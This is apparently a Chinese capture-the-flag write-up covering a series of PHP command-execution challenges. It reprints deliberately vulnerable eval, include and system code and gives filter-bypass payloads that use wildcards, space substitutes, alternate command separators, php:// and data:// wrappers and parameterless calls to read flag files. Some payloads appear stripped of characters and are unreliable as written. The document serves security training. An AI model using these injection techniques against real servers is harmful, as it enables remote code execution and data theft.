<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
基本是一道裸题,后边这道题会逐渐沦落为各种难题的复现环境。
分析:GET传入参数c,正则匹配掉flag,然后通过eval进行代码执行。
解法1:借助system实现RCE,过滤掉了flag但是可以通过通配符绕过。
payload1:?c=system(‘tac fla?.php’); //?表示单个匹配
payload2:?c=system(‘tac fla*’); //*开启贪婪模式
解法2: 通过语句拼接
payload: ?c=eval($_GET[a]);&a=system(‘tac flag.php’);
解法3:通过文件包含
payload:打不出来,我很疑惑
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
分析:过滤了system,flag,php
解法1:借助echo和反引号
payload:?c=echo tac fla*
;
同样可以借助文件包含和语句拼接执行
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
分析:主要是过滤掉了空格。
对过滤空格的命令执行的绕过总结:
1.%09替换
2.%20替换
3.${IFS}替换
4.${IFS替换
5.$IFS$1
6.<>和<重定向符替换
payload:?c=echo`tac%09fla*`;
同样可进行语句拼接与文件包含
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
分析:主要注意的是过滤掉了分号;。
解法:借助不含有分号的文件包含指令。
payload:?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
解释:php语句最后一句以?>作为结束时,可以省略行末分号。
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: [email protected]
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
同上题解法
同上题解法
同上题解法
同上题解法,但是对数字进行了过滤,注意get的变量明不能是数字
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: [email protected]
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
分析:get传入变量c,然后include包含,尝试借助data协议触发文件包含漏洞。
payload:?c=data://text/plain,
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: [email protected]
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
分析:重点注意过滤掉了php和filter,考虑使用php短标签进行绕过,触发RCE
payload:?c=data://text/plain,=system('tac fla*');?>
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: [email protected]
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
分析:通过get传入变量c,并对c进行文件包含,但是会在c的后边自动添加.php的后缀,对上题中的payload无影响。
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
分析:过滤了无数的特殊符号与全部的数字,考虑使用无参数的RCE。
前备知识:1.PHP中的localeconv()函数
在实现RCE的过程中,重点注意的第一条内容。小数点可以配合scandir()函数实现目录遍历。
2.现在考虑如何获取小数点,可以借助PHP中的current()函数。
test:?c=var_dump(current(localeconv()));
成功拿到了小数点!
3.开始配合scandir()进行目录遍历。
test:?c=var_dump(scandir(current(localeconv())));
观察到flag文件在倒数第二的位置。
4.考虑读取flag文件。
采用array_reverse函数将数组倒转
next函数读取倒转后数组的第二个元素读取flag
payload:?c=show_source(next(array_reverse(scandir(current(localeconv())))));
https://blog.csdn.net/miuzzx/article/details/108569080
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
分析:多了一个" >/dev/null 2>&1"语句,意思是写入的内容会永远消失,也就是不进行回显
解法1:用命令分隔符进行分隔 ?c=tac flag.php;
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:过滤掉了分号,考虑其他分隔符。
解法:使用||绕过。
payload:?c=tac flag.php||
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:过滤掉了flag,使用通配符。
payload:?c=tac fla*||
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:主要考虑过滤空格。
解法:通过%09绕过
payload:?c=tac%09fla*||
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:主要考虑过滤星号。
解法:采用带问号的通配符过滤。
payload:?c=tac%09fla?.php||
同上题解法
同上题解法